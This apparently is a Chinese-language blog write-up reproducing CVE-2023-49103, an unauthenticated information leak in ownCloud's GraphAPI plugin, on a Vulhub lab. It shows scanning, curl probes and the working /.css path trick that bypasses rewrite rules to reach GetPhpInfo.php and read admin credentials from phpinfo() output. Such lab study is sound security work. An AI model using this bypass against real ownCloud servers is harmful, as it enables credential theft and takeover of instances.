ownCloud 信息泄露 (CVE-2023-49103)复现

CVE-2023-49103 是 ownCloud GraphAPI 插件中的一个高危未授权信息泄露漏洞。由于插件在受影响版本(≤0.2.0 / ≤0.3.0)中错误地将第三方依赖库中的调试文件 GetPhpInfo.php 部署至生产环境,攻击者可利用 Apache 的 PathInfo 特性,通过在请求路径末尾附加静态资源后缀(如 /.css)绕过 ownCloud 的 URL 重写规则,直接访问该 PHP 文件并触发 phpinfo() 输出。由此可获取包含管理员账号、密码等敏感信息的服务器环境变量,进而完全接管 ownCloud 实例。本文基于 Vulhub 搭建靶场,完整复现了该漏洞的利用过程并分析其成因。

漏洞基础信息

漏洞编号 CVSS 评分 影响版本 漏洞类型
CVE-2023-49103 10.0 ownCloud graphapi 0.2.0–0.2.0(<0.2.1)0.3.0–0.3.0(<0.3.1) 未授权敏感信息泄露

漏洞复现

复现环境准备

使用vulhub快速搭建漏洞环境:

┌──(kali㉿kali)-[~]
└─$ apt install docker.io docker-compose    # 安装Docker和docker-compose

└─$ git clone https://github.com/vulhub/vulhub.git  # 将 Vulhub 项目克隆到本地

└─$ cd git pull origin master   # 若无owncloud目录,手动更新仓库
└─$ cd vulhub/owncloud/CVE-2023-49103
└─$ docker-compose up -d    # 拉取镜像并启动容器

└─$ docker ps   # 确认容器启动状态
9f15fafcf802   vulhub/owncloud:10.12.1   "/usr/bin/entrypoint…"   7 minutes ago   Up 7 minutes   0.0.0.0:8080->8080/tcp, :::8080->8080/tcp   cve-2023-49103-owncloud-1

目标探测

端口扫描与服务识别

┌──(kali㉿kali)-[~]
└─$ nmap -sS -Pn -T4 -sV -p- --script "default,vulners" target-IP

# 扫描结果
PORT     STATE SERVICE VERSION
8080/tcp open  http    Apache httpd
| http-robots.txt: 1 disallowed entry 
|_/
|_http-open-proxy: Proxy might be redirecting requests
|_http-trane-info: Problem with XML parsing of /evox/about
| http-title: ownCloud
|_Requested resource was http://192.168.31.148:8080/login
|_http-server-header: Apache
MAC Address: 00:0C:29:B3:23:74 (VMware)

扫描结果显示端口 8080 已成功开启,且 http-title 明确标注为 ownCloud,这说明目标存在 ownCloud 服务。当访问根目录时,它被重定向到了 /login。这是正常现象,漏洞路径是不需要登录的。

这里注意到,nmap的默认脚本只扫出了 robots.txtlogin 页面。 这是因为 CVE-2023-49103 隐藏在 vendor 目录下,属于第三方库(Microsoft Graph SDK)带进来的测试文件。一般的扫描器如果不使用特定指纹字典,很难发现这个深层路径。

攻击过程

该漏洞的本质是第三方库 microsoft-graph 携带的一个测试文件被无意中暴露。 Kali 终端执行以下 curl 命令,观察 HTTP 状态码:

┌──(kali㉿kali)-[~]
└─$ curl -I http://192.168.31.148:8080/apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php                  
HTTP/1.1 302 Found
...
Location: http://192.168.31.148:8080/login
Content-Type: text/html; charset=UTF-8

如果返回 200 则说明漏洞利用成功,403/404 则说明漏洞已被修复。这里出现了 302 重定向到了登陆界面。

这是因为 ownCloud 通过 .htaccess默认启用了严格的 URL 重写规则,所有对 PHP 文件的直接请求都会被重定向到前端控制器,从而阻止了对内部调试文件的访问。

Apache 的 mod_rewrite 规则通常会对以特定静态资源扩展名(如 .css, .js, .png 等)结尾的请求放行,不进行重写。攻击者可以巧妙地利用这一点,通过在目标 PHP 文件路径后附加一个“假”的静态扩展名(如 /.css),欺骗 Apache 认为这是一个静态资源请求,从而绕过重写规则,直接执行该 PHP 文件。

因此在浏览器直接访问:http://192.168.31.148:8080/apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php/.css 即可访问 phpinfo() 页面。

CVE-2023-49103-phpinfo

可以在其中搜索 OWNCLOUD_Environment 来快速定位敏感凭据。

注意:此绕过手法依赖于 Apache + mod_php + PathInfo 支持 的环境,如果使用 Nginx 或 PHP-FPM,则此绕过方式可能无效

漏洞核心原理

ownCloud 的 GraphAPI 插件(≤ v0.2.0 / ≤ v0.3.0)错误地将第三方依赖库(microsoft-graph SDK)中的调试文件 GetPhpInfo.php 随应用一同部署到生产环境。该文件会直接输出 phpinfo(),泄露服务器环境变量(包括管理员账号密码等敏感信息)。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇